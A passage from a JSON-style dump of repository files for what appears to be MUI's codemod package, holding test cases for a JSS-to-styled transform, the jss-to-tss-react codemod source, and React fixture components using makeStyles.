require.resolve('./jss-to-styled.test/nineth.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/nineth.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/nineth.expected.js'),\n            path: require.resolve('./jss-to-styled.test/nineth.expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/nineth.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('transforms <>', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/tenth.actual.js'),\n            path: require.resolve('./jss-to-styled.test/tenth.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/tenth.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/tenth.expected.js'),\n            path: require.resolve('./jss-to-styled.test/tenth.expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/tenth.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('transforms SomeNamespace.SomeComponent', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/eleventh.actual.js'),\n            path: require.resolve('./jss-to-styled.test/eleventh.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/eleventh.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/eleventh.expected.js'),\n            path: require.resolve('./jss-to-styled.test/eleventh.expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/eleventh.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('does not transform React.Suspense', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/twelfth.actual.js'),\n            path: require.resolve('./jss-to-styled.test/twelfth.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/twelfth.actual.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/twelfth.actual.js'),\n            path: require.resolve('./jss-to-styled.test/twelfth.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/twelfth.actual.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('bugs - #28317 export function declaration', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/exportFunction.actual.js'),\n            path: require.resolve('./jss-to-styled.test/exportFunction.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/exportFunction.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/exportFunction.expected.js'),\n            path: require.resolve('./jss-to-styled.test/exportFunction.expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/exportFunction.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('bugs - #28317 export class declaration', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/exportClass.actual.js'),\n            path: require.resolve('./jss-to-styled.test/exportClass.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/exportClass.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/exportClass.expected.js'),\n            path: require.resolve('./jss-to-styled.test/exportClass.expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/exportClass.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('bugs - #29363 multiple makeStyles with the same classKeys', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/multipleWithStyles.actual.js'),\n            path: require.resolve('./jss-to-styled.test/multipleWithStyles.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/multipleWithStyles.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/multipleWithStyles.expected.js'),\n            path: require.resolve('./jss-to-styled.test/multipleWithStyles.expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/multipleWithStyles.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.js",
    "content": "const ruleEndRegEx = /[^a-zA-Z0-9_]+/;\n\nfunction transformNestedKeys(j, comments, propValueNode, ruleRegEx, nestedKeys) {\n  propValueNode.properties.forEach((prop) => {\n    if (prop.value?.type === 'ObjectExpression') {\n      if (typeof prop.key.value === 'string' && ruleRegEx !== null) {\n        let ruleIndex = prop.key.value.search(ruleRegEx);\n        let searchStartIndex = 0;\n        const elements = [];\n        const identifiers = [];\n        while (ruleIndex >= 0) {\n          const valueStartingAtRuleName = prop.key.value.substring(ruleIndex + 1);\n          const ruleEndIndex = valueStartingAtRuleName.search(ruleEndRegEx);\n          const ruleName =\n            ruleEndIndex >= 0\n              ? prop.key.value.substring(ruleIndex + 1, ruleIndex + 1 + ruleEndIndex)\n              : valueStartingAtRuleName;\n          if (!nestedKeys.includes(ruleName)) {\n            nestedKeys.push(ruleName);\n          }\n          const before = prop.key.value.substring(searchStartIndex, ruleIndex);\n          elements.push(j.templateElement({ raw: `${before}.`, cooked: `${before}.` }, false));\n          identifiers.push(j.identifier(`classes.${ruleName}`));\n          searchStartIndex = ruleIndex + ruleName.length + 1;\n          const after = prop.key.value.substring(searchStartIndex);\n          ruleIndex = after.search(ruleRegEx);\n          if (ruleIndex >= 0) {\n            ruleIndex += searchStartIndex;\n          } else {\n            elements.push(j.templateElement({ raw: after, cooked: after }, false));\n          }\n        }\n        if (identifiers.length > 0) {\n          prop.key = j.templateLiteral(elements, identifiers);\n          prop.computed = true;\n        }\n      }\n      transformNestedKeys(j, comments, prop.value, ruleRegEx, nestedKeys);\n    } else if (prop.value?.type === 'ArrowFunctionExpression') {\n      comments.push(\n        j.commentLine(\n          ' TODO jss-to-tss-react codemod: Unable to handle style definition reliably. ArrowFunctionExpression in CSS prop.',\n          true,\n        ),\n      );\n    }\n  });\n}\nfunction transformStylesExpression(j, comments, stylesExpression, nestedKeys, setStylesExpression) {\n  const ruleNames = [];\n  const paramNames = [];\n  let objectExpression;\n  if (stylesExpression.type === 'ObjectExpression') {\n    objectExpression = stylesExpression;\n  } else if (stylesExpression.type === 'ArrowFunctionExpression') {\n    if (stylesExpression.body.type === 'BlockStatement') {\n      const returnStatement = stylesExpression.body.body.find((b) => b.type === 'ReturnStatement');\n      if (returnStatement.argument.type === 'ObjectExpression') {\n        objectExpression = returnStatement.argument;\n      }\n    } else if (stylesExpression.body.type === 'ObjectExpression') {\n      objectExpression = stylesExpression.body;\n    }\n  }\n  if (objectExpression !== undefined) {\n    objectExpression.properties.forEach((prop) => {\n      if (prop.key?.name) {\n        ruleNames.push(prop.key.name);\n      } else if (prop.key?.value === '@global') {\n        comments.push(\n          j.commentLine(\n            ` TODO jss-to-tss-react codemod: '@global' is not supported by tss-react.`,\n            true,\n          ),\n        );\n        comments.push(\n          j.commentLine(\n            ` See https://mui.com/material-ui/customization/how-to-customize/#4-global-css-override for alternatives.`,\n            true,\n          ),\n        );\n      }\n    });\n    let ruleRegExString = '(';\n    ruleNames.forEach((ruleName, index) => {\n      if (index > 0) {\n        ruleRegExString += '|';\n      }\n      ruleRegExString += `\\\\$${ruleName}`;\n    });\n    ruleRegExString += ')';\n    const ruleRegEx = ruleNames.length === 0 ? null : new RegExp(ruleRegExString, 'g');\n    objectExpression.properties.forEach((prop) => {\n      if (prop.value) {\n        if (prop.value.type !== 'ObjectExpression') {\n          if (\n            prop.value.type === 'ArrowFunctionExpression' &&\n            prop.value.body.type === 'ObjectExpression' &&\n            prop.value.params[0].type === 'ObjectPattern'\n          ) {\n            prop.value.params[0].properties.forEach((property) => {\n              const name = property.key.name;\n              if (!paramNames.includes(name)) {\n                paramNames.push(name);\n              }\n            });\n            prop.value = prop.value.body;\n          } else {\n            let extraComment = `Unexpected value type of ${prop.value.type}.`;\n            if (prop.value.type === 'ArrowFunctionExpression') {\n              if (prop.value.body.type === 'ObjectExpression') {\n                let example = '';\n                if (prop.value.params[0].type === 'Identifier') {\n                  example = ' (for example `(props) => ({...})` instead of `({color}) => ({...})`)';\n                }\n                extraComment = ` Arrow function has parameter type of ${prop.value.params[0].type} instead of ObjectPattern${example}.`;\n              } else {\n                extraComment = ` Arrow function has body type of ${prop.value.body.type} instead of ObjectExpression.`;\n              }\n            }\n            comments.push(\n              j.commentLine(\n                ` TODO jss-to-tss-react codemod: Unable to handle style definition reliably. Unsupported arrow function syntax.`,\n                true,\n              ),\n            );\n            comments.push(j.commentLine(extraComment, true));\n            return;\n          }\n        }\n        transformNestedKeys(j, comments, prop.value, ruleRegEx, nestedKeys);\n      }\n    });\n    if (paramNames.length > 0 || nestedKeys.length > 0) {\n      let arrowFunction;\n      if (stylesExpression.type === 'ArrowFunctionExpression') {\n        arrowFunction = stylesExpression;\n      } else {\n        arrowFunction = j.arrowFunctionExpression([], objectExpression);\n        setStylesExpression(arrowFunction);\n      }\n      if (arrowFunction.params.length === 0) {\n        arrowFunction.params.push(j.identifier('_theme'));\n      }\n      let paramsString = '_params';\n      if (paramNames.length > 0) {\n        paramsString = `{ ${paramNames.join(', ')} }`;\n      }\n      arrowFunction.params.push(j.identifier(paramsString));\n      if (nestedKeys.length > 0) {\n        arrowFunction.params.push(j.identifier('classes'));\n      }\n      if (arrowFunction.body.type === 'ObjectExpression') {\n        // In some cases, some needed parentheses were being lost without this.\n        arrowFunction.body = j.parenthesizedExpression(objectExpression);\n      }\n    }\n  }\n}\nfunction addCommentsToNode(node, commentsToAdd, addToBeginning = false) {\n  if (!node.comments) {\n    node.comments = [];\n  }\n  if (addToBeginning) {\n    node.comments.unshift(...commentsToAdd);\n  } else {\n    node.comments.push(...commentsToAdd);\n  }\n}\nfunction addCommentsToDeclaration(declaration, commentsToAdd) {\n  let commentsPath = declaration;\n  if (declaration.parentPath.node.type === 'ExportNamedDeclaration') {\n    commentsPath = declaration.parentPath;\n  }\n  addCommentsToNode(commentsPath.node, commentsToAdd);\n}\nfunction addCommentsToClosestDeclaration(j, path, commentsToAdd) {\n  j(path)\n    .closest(j.VariableDeclaration)\n    .forEach((declaration) => {\n      addCommentsToDeclaration(declaration, commentsToAdd);\n    });\n}\nfunction getFirstNode(j, root) {\n  return root.find(j.Program).get('body', 0).node;\n}\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const root = j(file.source);\n  const printOptions = options.printOptions || { quote: 'single' };\n  const originalFirstNode = getFirstNode(j, root);\n  let importsChanged = false;\n  let foundCreateStyles = false;\n  let foundMakeStyles = false;\n  let foundWithStyles = false;\n  /**\n   * transform imports\n   */\n  root.find(j.ImportDeclaration).forEach((path) => {\n    const importSource = path.node.source.value;\n    const originalComments = path.node.comments;\n    if (\n      importSource === '@material-ui/core/styles' ||\n      importSource === '@material-ui/core' ||\n      importSource === '@mui/styles'\n    ) {\n      const specifiersToMove = [];\n      const specifiersToStay = [];\n      path.node.specifiers.forEach((specifier) => {\n        if (specifier.type === 'ImportSpecifier') {\n          if (specifier.imported.name === 'makeStyles') {\n            foundMakeStyles = true;\n            specifiersToMove.push(specifier);\n          } else if (specifier.imported.name === 'withStyles') {\n            foundWithStyles = true;\n            specifiersToMove.push(specifier);\n          } else if (specifier.imported.name === 'createStyles') {\n            foundCreateStyles = true;\n          } else {\n            specifiersToStay.push(specifier);\n          }\n        }\n      });\n\n      if (specifiersToMove.length > 0) {\n        path.replace(\n          j.importDeclaration(specifiersToMove, j.stringLiteral('tss-react/mui')),\n          specifiersToStay.length > 0\n            ? j.importDeclaration(specifiersToStay, j.stringLiteral(importSource))\n            : undefined,\n        );\n        importsChanged = true;\n      }\n    } else if (\n      importSource === '@material-ui/styles/makeStyles' ||\n      importSource === '@mui/styles/makeStyles'\n    ) {\n      foundMakeStyles = true;\n      path.replace(\n        j.importDeclaration(\n          [j.importSpecifier(j.identifier('makeStyles'))],\n          j.stringLiteral('tss-react/mui'),\n        ),\n      );\n      importsChanged = true;\n    } else if (\n      importSource === '@material-ui/styles/withStyles' ||\n      importSource === '@mui/styles/withStyles'\n    ) {\n      foundWithStyles = true;\n      path.replace(\n        j.importDeclaration(\n          [j.importSpecifier(j.identifier('withStyles'))],\n          j.stringLiteral('tss-react/mui'),\n        ),\n      );\n      importsChanged = true;\n    }\n    path.node.comments = originalComments;\n  });\n  if (!importsChanged) {\n    return file.source;\n  }\n  const isTypeScript = file.path.endsWith('.tsx') || file.path.endsWith('.ts');\n  if (foundMakeStyles) {\n    let clsxOrClassnamesName = null;\n    root.find(j.ImportDeclaration).forEach((path) => {\n      const importSource = path.node.source.value;\n      if (importSource === 'clsx' || importSource === 'classnames') {\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportDefaultSpecifier') {\n            clsxOrClassnamesName = specifier.local.name;\n          }\n        });\n        let commentsToPreserve = null;\n        if (originalFirstNode === path.node) {\n          // For a removed import, only preserve the comments if it is the first node in the file,\n          // otherwise the comments are probably about the removed import and no longer relevant.\n          commentsToPreserve = path.node.comments;\n        }\n        j(path).remove();\n        if (commentsToPreserve) {\n          addCommentsToNode(getFirstNode(j, root), commentsToPreserve, true);\n        }\n      }\n    });\n    /**\n     * Convert makeStyles syntax\n     */\n    const styleHooks = [];\n    root\n      .find(j.CallExpression, { callee: { name: 'makeStyles' } })\n      .forEach((path) => {\n        let paramsTypes = null;\n        if (foundCreateStyles) {\n          j(path)\n            .find(j.CallExpression, { callee: { name: 'createStyles' } })\n            .replaceWith((createStylesPath) => {\n              if (\n                isTypeScript &&\n                createStylesPath.node.typeParameters &&\n                createStylesPath.node.typeParameters.params.length > 1\n              ) {\n                paramsTypes = createStylesPath.node.typeParameters.params[1];\n              }\n              return createStylesPath.node.arguments[0];\n            });\n        }\n        const nestedKeys = [];\n        let makeStylesOptions = null;\n        if (path.node.arguments.length > 1) {\n          makeStylesOptions = path.node.arguments[1];\n        }\n        let stylesExpression = path.node.arguments[0];\n        const commentsToAdd = [];\n        transformStylesExpression(\n          j,\n          commentsToAdd,\n          path.node.arguments[0],\n          nestedKeys,\n          (newStylesExpression) => {\n            stylesExpression = newStylesExpression;\n          },\n        );\n        addCommentsToClosestDeclaration(j, path, commentsToAdd);\n        let makeStylesIdentifier = 'makeStyles';\n        if (isTypeScript && (nestedKeys.length > 0 || paramsTypes !== null)) {\n          let paramsTypeString = 'void';\n          if (paramsTypes !== null) {\n            paramsTypeString = j(paramsTypes).toSource(printOptions);\n          }\n          let nestedKeysString = '';\n          if (nestedKeys.length > 0) {\n            const nestedKeysUnion = nestedKeys.join(\"' | '\");\n            nestedKeysString = `, '${nestedKeysUnion}'`;\n          }\n          makeStylesIdentifier += `<${paramsTypeString}${nestedKeysString}>`;\n        }\n        j(path).replaceWith(\n          j.callExpression(\n            j.callExpression(\n              j.identifier(makeStylesIdentifier),\n              makeStylesOptions === null ? [] : [makeStylesOptions],\n            ),\n            [stylesExpression],\n          ),\n        );\n      })\n      .closest(j.VariableDeclarator)\n      .forEach((path) => {\n        styleHooks.push(path.node.id.name);\n        j(path)\n          .closest(j.ExportNamedDeclaration)\n          .forEach(() => {\n            const comments = [\n              j.commentLine(\n                ` TODO jss-to-tss-react codemod: usages of this hook outside of this file will not be converted.`,\n                true,\n              ),\n            ];\n            addCommentsToClosestDeclaration(j, path, comments);\n          });\n      });\n    /**\n     * Convert classes assignment syntax in calls to the hook (for example useStyles) and\n     * convert usages of clsx or classnames to cx.\n     */\n    styleHooks.forEach((hookName) => {\n      root\n        .find(j.CallExpression, { callee: { name: hookName } })\n        .forEach((hookCall) => {\n          if (hookCall.node.arguments.length === 1) {\n            const hookArg = hookCall.node.arguments[0];\n            if (hookArg.type === 'Identifier') {\n              const secondArg = j.objectExpression([]);\n              secondArg.properties.push(\n                j.objectProperty(j.identifier('props'), j.identifier(hookArg.name)),\n              );\n              hookCall.node.arguments.push(secondArg);\n            } else if (hookArg.properties) {\n              const hookArgPropsMinusClasses = [];\n              let classesProp = null;\n              hookArg.properties.forEach((hookProp) => {\n                if (hookProp.key.name === 'classes') {\n                  classesProp = hookProp;\n                } else {\n                  hookArgPropsMinusClasses.push(hookProp);\n                }\n              });\n              if (classesProp !== null) {\n                if (hookArgPropsMinusClasses.length === 0) {\n                  hookCall.node.arguments[0] = j.identifier('undefined');\n                } else {\n                  hookArg.properties = hookArgPropsMinusClasses;\n                }\n                const secondArg = j.objectExpression([]);\n                secondArg.properties.push(\n                  j.objectProperty(\n                    j.identifier('props'),\n                    j.objectExpression([\n                      j.objectProperty(j.identifier('classes'), classesProp.value),\n                    ]),\n                  ),\n                );\n                hookCall.node.arguments.push(secondArg);\n              }\n            }\n          }\n        })\n        .closest(j.VariableDeclarator)\n        .forEach((path) => {\n          let foundClsxOrClassnamesUsage = false;\n          const classesName = path.node.id.name;\n          const classesAssign = classesName === 'classes' ? 'classes' : `classes: ${classesName}`;\n          if (clsxOrClassnamesName !== null) {\n            j(path)\n              .closestScope()\n              .find(j.CallExpression, { callee: { name: clsxOrClassnamesName } })\n              .forEach((callPath) => {\n                callPath.node.callee.name = 'cx';\n                foundClsxOrClassnamesUsage = true;\n              });\n          }\n          if (foundClsxOrClassnamesUsage) {\n            path.node.id.name = `{ ${classesAssign}, cx }`;\n          } else {\n            path.node.id.name = `{ ${classesAssign} }`;\n          }\n        });\n      root.find(j.ExportDefaultDeclaration, { declaration: { name: hookName } }).forEach((path) => {\n        const comments = [\n          j.commentLine(\n            ` TODO jss-to-tss-react codemod: usages of this hook outside of this file will not be converted.`,\n            true,\n          ),\n        ];\n        addCommentsToDeclaration(path, comments);\n      });\n    });\n  }\n  if (foundWithStyles) {\n    /**\n     * Convert withStyles syntax\n     */\n    const styleVariables = [];\n    root\n      .find(j.CallExpression, {\n        callee: { type: 'CallExpression', callee: { name: 'withStyles' } },\n      })\n      .replaceWith((path) => {\n        const withStylesCall = path.node.callee;\n        const styles = path.node.callee.arguments[0];\n        if (styles.type === 'Identifier') {\n          styleVariables.push(styles.name);\n        } else {\n          const nestedKeys = [];\n          const commentsToAdd = [];\n          transformStylesExpression(j, commentsToAdd, styles, nestedKeys, (newStylesExpression) => {\n            path.node.callee.arguments[0] = newStylesExpression;\n          });\n          addCommentsToClosestDeclaration(j, path, commentsToAdd);\n        }\n        const component = path.node.arguments[0];\n        withStylesCall.arguments.unshift(component);\n        return withStylesCall;\n      });\n    styleVariables.forEach((styleVar) => {\n      root.find(j.VariableDeclarator, { id: { name: styleVar } }).forEach((path) => {\n        const nestedKeys = [];\n        const commentsToAdd = [];\n        transformStylesExpression(\n          j,\n          commentsToAdd,\n          path.node.init,\n          nestedKeys,\n          (newStylesExpression) => {\n            path.node.init = newStylesExpression;\n          },\n        );\n        addCommentsToClosestDeclaration(j, path, commentsToAdd);\n      });\n    });\n  }\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/actual-from-material-ui-core-styles.js",
    "content": "import React from \"react\";\nimport { makeStyles } from \"@material-ui/core/styles\";\n\n/*\nSandboxes for verifying correct behavior:\nJSS - https://codesandbox.io/p/sandbox/case1-jss-dedp2f?file=/src/App.js\nTSS - https://codesandbox.io/p/sandbox/case1-tss-s0z7tx?file=/src/App.js\n */\n\nconst useStyles = makeStyles({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\"\n  }\n}, { name: \"TestName\" });\n\nconst useStyles2 = makeStyles(() => ({\n  test2: {\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  }\n}));\n\nfunction InnerComponent() {\n  const classes = useStyles2();\n  return <div className={classes.test2}>Inner Test</div>;\n}\nexport default function ComponentUsingStyles(props) {\n  const classes = useStyles();\n  return <div className={classes.test}>Test<InnerComponent/></div>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/actual-from-material-ui-core.js",
    "content": "import React from \"react\";\n\n/*\nTest makeStyles comment\n */\nimport { makeStyles } from \"@material-ui/core\";\n/*\nclsx comment that will not be preserved since the import is being removed (not just replaced)\nand is not at the beginning of the file.\n */\nimport clsx from \"clsx\";\n\nconst useStyles = makeStyles(() => ({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n    \"&$qualifier\": {\n      textDecoration: \"underline\"\n    },\n    \"&$qualifier$qualifier2\": {\n      fontStyle: \"italic\"\n    },\n    \"&$qualifier2 .testStuffInBetween $qualifier\": {\n      color: \"brown\"\n    },\n    \"&$qualifier:hover\": {\n      backgroundColor: \"red\"\n    },\n    \"&$qualifier2:not(:hover)\": {\n      fontWeight: 700\n    },\n  },\n  qualifier: {},\n  qualifier2: {}\n}));\n\nconst useStyles2 = makeStyles({\n  test2: {\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  }\n});\n\nfunction InnerComponent() {\n  const classes = useStyles2();\n  return <div className={classes.test2}>Inner Test</div>;\n}\nexport default function ComponentUsingStyles(props) {\n  const classes = useStyles(props);\n  return <>\n    <div className={classes.test}>Test<InnerComponent/></div>\n    <div className={clsx(classes.test, classes.qualifier)}>Qualifier Test</div>\n    <div className={clsx(classes.test, classes.qualifier2)}>Qualifier 2 Test</div>\n    <div className={clsx(classes.test, classes.qualifier, classes.qualifier2)}>Qualifier & Qualifier 2 Test</div>\n    </>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/actual-from-mui-styles-makeStyles.js",
    "content": "import React from \"react\";\nimport makeStyles from \"@mui/styles/makeStyles\";\n\nconst useStyles = makeStyles({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\"\n  }\n});\n\nconst useStyles2 = makeStyles({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n    \"& $test2\": {\n      backgroundColor: \"lime\",\n      color: \"blue\"\n    }\n  },\n  test2: {\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  }\n});\n\nfunction InnerComponent() {\n  const classes = useStyles2();\n  return <div className={classes.test2}>Inner Test</div>;\n}\nexport default function ComponentUsingStyles(props) {\n  const classes = useStyles();\n  return <div className={classes.test}>Test<InnerComponent/></div>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/actual-from-mui-styles.js",
    "content": "import React from \"react\";\nimport { makeStyles } from \"@mui/styles\";\n\nconst useStyles = makeStyles({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\"\n  }\n});\n\nconst useStyles2 = makeStyles({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n    \"& $test2\": {\n      backgroundColor: \"lime\",\n      color: \"blue\"\n    }\n  },\n  test2: {\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  }\n});\n\nfunction InnerComponent() {\n  const classes = useStyles2();\n  return <div className={classes.test2}>Inner Test</div>;\n}\nexport default function ComponentUsingStyles(props) {\n  const classes = useStyles();\n  return <div className={classes.test}>Test<InnerComponent/></div>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/actual-mixins-pattern.js",
    "content": "// Comment on first node where the first node will be removed and we should preserve this comment.\nimport clsx from \"clsx\";\nimport React from \"react\";\nimport { makeStyles } from \"@material-ui/core/styles\";\n\nfunction mixins() {\n  return {\n    test: {\n      backgroundColor: \"purple\",\n      color: \"white\"\n    }\n  };\n}\nfunction cssProps() {\n  return {\n    paddingLeft: \"8px\"\n  }\n}\n\nconst useStyles = makeStyles(theme => {\n  return mixins();\n});\n\nconst useStyles2 = makeStyles(theme => ({\n  ...mixins(),\n  test2: {\n    color: \"red\",\n    ...cssProps()\n  }\n}));\n\nexport default function ComponentUsingStyles(props) {\n  const classes = useStyles();\n  const classes2 = useStyles2();\n  return <div className={clsx(classes.test, classes2.test2)}>Test</div>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/actual-todo-comments.js",
    "content": "/*\nComments to be preserved when clsx import is removed. These comments should come before\nany comments that they get combined with.\n */\nimport clsx from \"clsx\";\n/*\nComments that should not be lost when the clsx import comments are preserved.\n */\nimport { makeStyles } from \"@material-ui/core\";\n\nconst useStyles = makeStyles(() => ({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n    \"&$qualifier\": {\n      textDecoration: props => (props.textDecoration)\n    },\n  },\n  qualifier: {},\n}));\n\nexport const useExportedStyles = makeStyles({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n  }\n});\n\nconst useStyles2 = makeStyles({\n  test2: props => ({\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  })\n});\n\nconst useStyles3 = makeStyles({\n  test3: props => {\n    return {\n      backgroundColor: \"blue\",\n      color: \"lime\"\n    };\n  }\n});\n\nconst useGlobalStyles = makeStyles(() => ({\n  '@global': {\n    '.sample': {\n      backgroundColor: \"purple\",\n      color: \"white\",\n    }\n  }\n}));\n\nfunction InnerComponent() {\n  const classes = useStyles2();\n  return <div className={classes.test2}>Inner Test</div>;\n}\nfunction ComponentUsingStyles(props) {\n  const classes = useStyles(props);\n  return <>\n    <div className={classes.test}>Test<InnerComponent/></div>\n    <div className={clsx(classes.test, classes.qualifier)}>Qualifier Test</div>\n    </>;\n}\n\nexport default useStyles3;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/actual-typescript-docs-example-params.tsx",
    "content": "import clsx from 'clsx';\nimport {makeStyles, createStyles} from '@material-ui/core/styles';\n\nconst useStyles = makeStyles((theme) => createStyles<\n  'root' | 'small' | 'child', {color: 'primary' | 'secondary', padding: number}\n>\n({\n  root: ({color, padding}) => ({\n    padding: padding,\n    '&:hover $child': {\n      backgroundColor: theme.palette[color].main,\n    }\n  }),\n  small: {},\n  child: {\n    border: '1px solid black',\n    height: 50,\n    '&$small': {\n      height: 30\n    }\n  }\n}), {name: 'App'});\n\nfunction App({classes: classesProp}: {classes?: any}) {\n  const classes = useStyles({color: 'primary', padding: 30, classes: classesProp});\n\n  return (\n    <div className={classes.root}>\n      <div className={classes.child}>\n        The Background take the primary theme color when the mouse hovers the parent.\n      </div>\n      <div className={clsx(classes.child, classes.small)}>\n        The Background take the primary theme color when the mouse hovers the parent.\n        I am smaller than the other child.\n      </div>\n    </div>\n  );\n}\n\nexport default App;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/actual-typescript-docs-example.tsx",
    "content": "\nimport { makeStyles } from '@material-ui/core/styles';\nimport clsx from 'clsx';\n\nconst useStyles = makeStyles((theme) => ({\n  parent: {\n    padding: 30,\n    '&:hover $child': {\n      backgroundColor: 'red',\n    },\n  },\n  small: {},\n  child: {\n    backgroundColor: 'blue',\n    height: 50,\n    '&$small': {\n      backgroundColor: 'lightblue',\n      height: 30\n    }\n  },\n}));\n\nfunction App() {\n  const classes = useStyles();\n  return (\n    <div className={classes.parent}>\n      <div className={classes.child}>\n        Background turns red when the mouse hovers over the parent.\n      </div>\n      <div className={clsx(classes.child, classes.small)}>\n        Background turns red when the mouse hovers over the parent.\n        I am smaller than the other child.\n      </div>\n    </div>\n  );\n}\n\nexport default App;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/actual-typescript.tsx",
    "content": "\nimport { makeStyles, createStyles, Theme } from \"@material-ui/core/styles\";\n\n/*\nSandboxes for verifying correct behavior:\nJSS - https://codesandbox.io/p/sandbox/typescript-case-bt065c?file=/demo.tsx\nTSS - https://codesandbox.io/p/sandbox/typescript-case-7jwpms?file=/demo.tsx\n */\n\nconst useStyles = makeStyles((theme: Theme) =>\n  createStyles({\n    test: {\n      backgroundColor: \"purple\",\n      color: \"white\",\n      \"& $test2\": {\n        backgroundColor: \"lime\",\n        color: \"blue\"\n      }\n    },\n    test2: {\n      backgroundColor: \"blue\",\n      color: \"lime\"\n    }\n  })\n);\nexport function MergeClassesNoParams({ classes: classesProp } : { classes?: any }) {\n  const classes = useStyles({classes: classesProp});\n  return <div className={classes.test}>Test useStyles without params but with classes prop</div>;\n}\n\nfunction InnerComponent({ classes } : { classes: any }) {\n  return <div className={classes.test2}>Inner Test2</div>;\n}\nexport default function ComponentUsingStyles() {\n  const classes = useStyles();\n  return (\n    <>\n      <div className={classes.test}>\n        Test\n        <InnerComponent classes={classes} />\n      </div>\n      <div className={classes.test2}>Outer Test2</div>\n    </>\n  );\n}\n"
  },
